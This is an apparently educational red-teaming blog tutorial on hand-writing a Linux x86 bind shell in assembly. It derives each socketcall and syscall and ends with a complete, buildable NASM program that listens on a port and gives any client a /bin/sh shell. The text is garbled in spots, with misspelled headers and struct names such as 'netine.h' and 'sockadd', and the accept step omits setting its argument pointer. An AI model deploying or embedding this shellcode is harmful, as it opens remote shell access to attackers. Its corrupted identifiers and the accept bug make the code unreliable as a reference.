I want a "Red Teaming"
Michael Schneider
How to write your Linux Bind Shell in Assembly
The following minimal C bind shell illustrates the pieces needed and gives a bit of an overview.
#include <unistd.h> #include <sys/socket.h> #include <netine.h> int main(void) { int srvfd; int clifd; struct sockadd srv; srv.sin_family = AF_INET; srv.sin_port = htons(4444); srv.sin_addr.s_addr = htonl(INADDR_ANY); srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); bind(srvfd, (struct sockaddr *) &srv, sizeof(srv)); listen(srvfd, 0); clifd = accept(srvfd, NULL, NULL); dup2(clifd, 0); dup2(clifd, 1); dup2(clifd, 2); execve("/bin/sh", NULL, NULL); }
Since we aren’t using any library structures, we can disregard the initialization of the sockadd
struct and jump straight to socket creation:
srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
Socket creation requires system calls. A nice resource to find system call numbers is kernelgrok.com. Searching for __"sock"__
or __"sck"__
returns a single syscall:
Consulting the manual pages man 2 socketcall
reveals that socketcall()
is used for all kinds of socket-related operations. Here is an excerpt from the man page:
int socketcall(int call, unsigned long *args); socketcall() is a common kernel entry point for the socket system calls. Call determines which socket function to invoke. call Man page SYS_SOCKET socket(2) SYS_BIND bind(2) SYS_CONNECT connect(2) SYS_LISTEN listen(2) SYS_ACCEPT accept(2) SYS_GETSOCKNAME getsockname(2) SYS_GETPEERNAME getpeername(2) SYS_SOCKETPAIR socketpair(2) SYS_SEND send(2) SYS_RECV recv(2) SYS_SENDTO sendto(2) SYS_RECVFROM recvfrom(2) SYS_SHUTDOWN shutdown(2) SYS_SETSOCKOPT setsockopt(2) SYS_GETSOCKOPT getsockopt(2) SYS_SENDMSG sendmsg(2) SYS_RECVMSG recvmsg(2) SYS_ACCEPT4 accept4(2) SYS_RECVMMSG recvmmsg(2) SYS_SENDMMSG sendmmsg(2)
We need to determine the appropriate value for socketcalls()
’s call
argument. As can be seen from the code snippet below, SYS_SOCKET
is what we are looking for. Incidentally, the code below was sourced from net/socket.c
SYSCALL_DEFINE2(socketcall, int, call, unsigned long __user *, args) { ... switch (call) { case SYS_SOCKET: err = __sys_socket(a0, a1, a[2]); break; case SYS_BIND: err = __sys_bind(a0, (struct sockaddr __user *)a1, a[2]); break; case SYS_CONNECT: err = __sys_connect(a0, (struct sockaddr __user *)a1, a[2]); break; case SYS_LISTEN: ...
SYS_SOCKET
is a preprocessor constant and we need to find its actual value. We get it from the source tree of the kernel we are targeting (kernel version 5.4) in include/uapi/linux/net.h
.
#define SYS_SOCKET 1 /* sys_socket(2) */
In a next step we consult the socket()
man page to determine what arguments we need to pass according to man 2 socket
.
int socket(int domain, int type, int protocol);
At this point we have all that is needed to write the assembly code. This example uses TCP over IPv4 and the values for the other constants are as follows: AF_INET = 2
, SOCK_STREAM = 1
, IP_PROTO = 0
.
mov eax, 0x66 ;; socketcall syscall number mov ebx, 0x01 ;; SYS_SOCKET call number for socket creation push DWORD 0x00000000 ;; IP_PROTO push DWORD 0x00000001 ;; SOCK_STREAM push DWORD 0x00000002 ;; AF_INET mov ecx, esp int 0x80 mov esi, eax ;; copy socket fd because eax will be needed otherwise
The syscall number for socketcall
ist placed into eax
and the call number for SYS_SOCKET
into ebx
. socketcall()
expects a pointer to the arguments for the effectively executed kernel function determined by the call number. The arguments for socket()
are pushed to the stack in reverse order. Since socket()
expects arguments of type int
, the values we push to the stack are 4 bytes wide. esp
holds the address of the top of the stack. The start of our argument array, which is the current top of the stack, is saved to ecx
. Now that everything is prepared, the interrupt can be called. From the socket()
man page we know that the return value is the socket file descriptor. Return values are usually placed into eax
.
Next, the socket is bound to an address and port.
bind(srvfd, (struct sockaddr *) &srv, sizeof(srv));
The bind()
call number for the socketcall
syscall is defined as 2
in the same file as socket()
, along with all the other socketcall call numbers:
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ ...
Note that the arguments need to be pushed in reverse order. The length of the struct needs to be pushed first. The man page for bind()
notes on the sockaddr
struct:
The only purpose of this structure is to cast the structure pointer passed in addr in order to avoid compiler warnings
bind()
can handle a variety of different socket types and expects the appropriate structure for the socket type it is given. For our socket this is sockadd
, which is defined as follows for our kernel in include/uapi/linu.h
:
/* Structure describing an Internet (IP) socket address. */ #if __UAPI_DEF_SOCKADD #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */ struct sockadd { __kernel_sa_family_t sin_family; /* Address family */ __be16 sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ /* Pad to size of `struct sockaddr'. */ unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in_addr)]; };
An analysis of the struct definition reveals its actual length to be 8 bytes (2 shorts and 1 int) and an additional 8 bytes of padding. Our address family is AF_INET, which is defined in bits/socket.h
as 2
. __kernel_sa_family_t
is a typedef of an unsigned short, so for it we need to push a 2-byte value of 2
to the stack. The port number is also an unsigned short value where __be16
indicates that the value is expected in big endian byte order. The in_addr
struct only consists of an unsigned int in big endian (__be32
) to store an IPv4 address.
;; prepare sockadd struct push DWORD 0x00000000 ;; 4 bytes padding push DWORD 0x00000000 ;; 4 bytes padding push DWORD 0x00000000 ;; INADDR_ANY push WORD 0xbeef ;; port 61374 push WORD 0x0002 ;; AF_INET mov ecx, esp ;; save struct address ;; arguments to bind() push DWORD 0x00000010 ;; size of our sockadd struct push ecx ;; pointer to sockadd struct push esi ;; socket file descriptor mov ecx, esp ;; set ecx to bind() args to prep for socketcall syscall mov eax, 0x66 ;; socketcall syscall number mov ebx, 0x02 ;; SYS_BIND call number int 0x80
As with the function arguments, the members of the struct are pushed to the stack in reverse order. We temporarily save the address to the struct in ecx
, because the struct size for bind()
needs to be pushed first. This program is kept minimal and error handling for bind()
failures is omitted.
The next line in the C bind shell is listen(srvfd, 0);
. listen()
marks the socket as a passive socket, which is a socket used to accept incoming requests. This is accomplished simply enough.
mov eax, 0x66 mov ebx, 0x04 ;; SYS_LISTEN call number push 0x00000000 ;; listen() backlog argument (4 byte int) push esi ;; socket fd mov ecx, esp ;; pointer to args for listen() int 0x80
The next step is to accept an incoming connection: clifd = accept(srvfd, NULL, NULL);
. The second and third arguments can be populated with a pointer to an appropriate sockaddr
struct and the sruct length. Upon succesful connection, the given struct is populated with information on the peer. In this minimal C bind shell we don’t care about knowing who our peer is, so NULL is passed for both of these arguments. This also simplifies the equivalent assembly code.
mov eax, 0x66 mov ebx, 0x05 ;; SYS_ACCEPT call number push DWORD 0x00000000 push DWORD 0x00000000 push esi ;; socket fd int 0x80
accept()
returns the file descriptor of the socket of the new connection in eax
.
Now all that’s left to do is duplicate the file descriptor of the connection socket to the stdin, stdout and stderr of our current process and then replace the current process with sh
. dup2()
is declared as follows:
int dup2(int oldfd, int newfd);
dup2
silently closes the file descriptor newfd
and reopens it as a copy of oldfd
, so that they can be used interchangeably.
mov ebx, eax ;; copy fd of the new connection socket to ebx for dup2() mov eax, 0x3f ;; syscall nunber goes into eax xor ecx, ecx ;; duplicate stdin int 0x80 mov eax, 0x3f inc ecx ;; duplicate stdout int 0x80 mov eax, 0x3f inc ecx ;; duplicate stderr int 0x80
man 2 execve
shows execve()
’s declaration as:
execve(const char *pathname, char *const argv[], char *const envp[]);
As before, the system call number goes into eax
and the remaining arguments are, if present, written in order into ebx, ecx and edx. Note that the /bin/sh
string is zero-delimited.
mov eax, 0x0b ;; execve syscall xor ecx, ecx ;; no arguments for /bin/sh xor edx, edx ;; no env variables push DWORD 0x0068732f ;; hs/ push DWORD 0x6e69622f ;; nib/ mov ebx, esp ;; start of /bin/sh string int 0x80
While the presented bind shell is simple and easy to understand, various possibilities for improvement remain, such as size optimisation or disposing of the socket after the shell exits.
For reference, here is the entire program which can be built with nasm bindshell.asm -o bindshell.o -f elf32 && ld -m elf_i386 bindshell.o -o bindshell
.
global _start section .text _start: mov eax, 0x66 ;; socketcall syscall number mov ebx, 0x01 ;; SYS_SOCKET call number for socket creation push DWORD 0x00000000 ;; IP_PROTO push DWORD 0x00000001 ;; SOCK_STREAM push DWORD 0x00000002 ;; AF_INET mov ecx, esp int 0x80 mov esi, eax ;; copy socket fd because eax will be needed otherwise ;; prepare sockadd struct push DWORD 0x00000000 ;; 4 bytes padding push DWORD 0x00000000 ;; 4 bytes padding push DWORD 0x00000000 ;; INADDR_ANY push WORD 0xbeef ;; port 61374 push WORD 0x0002 ;; AF_INET mov ecx, esp ;; save struct address ;; arguments to bind() push DWORD 0x00000010 ;; size of our sockadd struct push ecx ;; pointer to sockadd struct push esi ;; socket file descriptor mov ecx, esp ;; set ecx to bind() args to prep for socketcall syscall mov eax, 0x66 ;; socketcall syscall number mov ebx, 0x02 ;; SYS_BIND call number int 0x80 mov eax, 0x66 mov ebx, 0x04 ;; SYS_LISTEN call number push 0x00000000 ;; listen() backlog argument (4 byte int) push esi ;; socket fd mov ecx, esp ;; pointer to args for listen() int 0x80 mov eax, 0x66 mov ebx, 0x05 ;; SYS_ACCEPT call number push DWORD 0x00000000 push DWORD 0x00000000 push esi ;; socket fd int 0x80 mov ebx, eax ;; copy fd of the new connection socket to ebx for dup2() mov eax, 0x3f ;; syscall nunber goes into eax xor ecx, ecx ;; duplicate stdin int 0x80 mov eax, 0x3f inc ecx ;; duplicate stdout int 0x80 mov eax, 0x3f inc ecx ;; duplicate stderr int 0x80 mov eax, 0x0b ;; execve syscall xor ecx, ecx ;; no arguments for /bin/sh xor edx, edx ;; no env variables push DWORD 0x0068732f ;; hs/ push DWORD 0x6e69622f ;; nib/ mov ebx, esp ;; start of /bin/sh string int 0x80
Our experts will get in contact with you!
Michael Schneider
Marisa Tschopp
Michèle Trebo
Andrea Covello
Our experts will get in contact with you!